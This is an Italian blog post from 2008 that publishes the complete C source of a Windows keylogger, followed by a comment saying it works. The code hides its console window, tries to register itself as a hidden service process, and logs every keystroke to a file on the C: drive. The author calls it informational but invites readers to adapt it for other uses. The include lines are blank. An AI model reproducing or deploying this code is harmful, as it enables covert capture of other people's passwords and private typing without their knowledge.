venerdì 22 agosto 2008

KeyLogger in C

Ecco un piccolo programma in C ke salva lo Stream digitato dalla tastiera in un file di testo......Io ve lo posto solo per scopo informativo; se volete farne altro uso modificatelo a dovere!!!! ;)

Codice:

//Keylogger By Antonio Blescia
#define _WIN32_WINNT 0x0500
#define STRICT /* definizione di costanti */
#define WIN32_LEAN_AND_MEAN/* utilizzate dal compilatore */

#define LOGFILE "C:/logger.txt" /* nome file su cui salvare i tasti captati */

#include /* inclusione librerie per la */
#include /* programmazione Win32 */

#ifndef VK_Z /* se non e' definito */
#define VK_Z 91 /* definizione VK_Z e VK_SPACE*/
#endif /* per compatibilita' con alcune librerie */
#ifndef VK_SPACE
#define VK_SPACE 32
#endif

LRESULT CALLBACK WindowProcedure (HWND, UINT, WPARAM, LPARAM);
char szClassName[ ] = "SysKey";

int WINAPI WinMain (HINSTANCE hThisInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)

{

HWND hWnd = GetConsoleWindow();
ShowWindow( hWnd, SW_HIDE );
HWND hwnd;
MSG messages;
hwnd = CreateWindowEx (
0,
szClassName,
"SysKey",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,
CW_USEDEFAULT,
1,
1,
HWND_DESKTOP,
NULL,
hThisInstance,
NULL
);

//Codice del KeyLoggerr
int vKey[]={8,13,16,0};
int i;
FILE *FP;
HMODULE hKERNEL32;
FARPROC a_Register;

if ( (hKERNEL32 = GetModuleHandle("KERNEL32.DLL")) != NULL)


if( ( a_Register = GetProcAddress(hKERNEL32,"RegisterServiceProcess")) != NULL)

a_Register( GetCurrentProcessId(), 1);


FP=fopen(LOGFILE,"a");

while(1){

for (i=VK_SPACE;i<=VK_Z;i++){
if (GetAsyncKeyState(i)){
fprintf (FP,"%c",i);
fflush (FP);
}
}
for (i=0;vKey[i]!=0;i++){
if (GetAsyncKeyState(vKey[i])){
fprintf (FP,"%c",vKey[i]);
Sleep(100);
fflush (FP);
}
}

Sleep(150);
}

while (0)
{

TranslateMessage(&messages);

DispatchMessage(&messages);
}


return messages.wParam;
}




LRESULT CALLBACK WindowProcedure (HWND hwnd, UINT message, WPARAM wParam, LPARAM
lParam)
{
switch (message)
{
case WM_DESTROY:
PostQuitMessage (0);
break;
default:
return DefWindowProc (hwnd, message, wParam, lParam);
}

return 0;
}

1 commento:

Anonimo ha detto...

Troppo forte Antonio :)
L'ho provato e funziona ;-)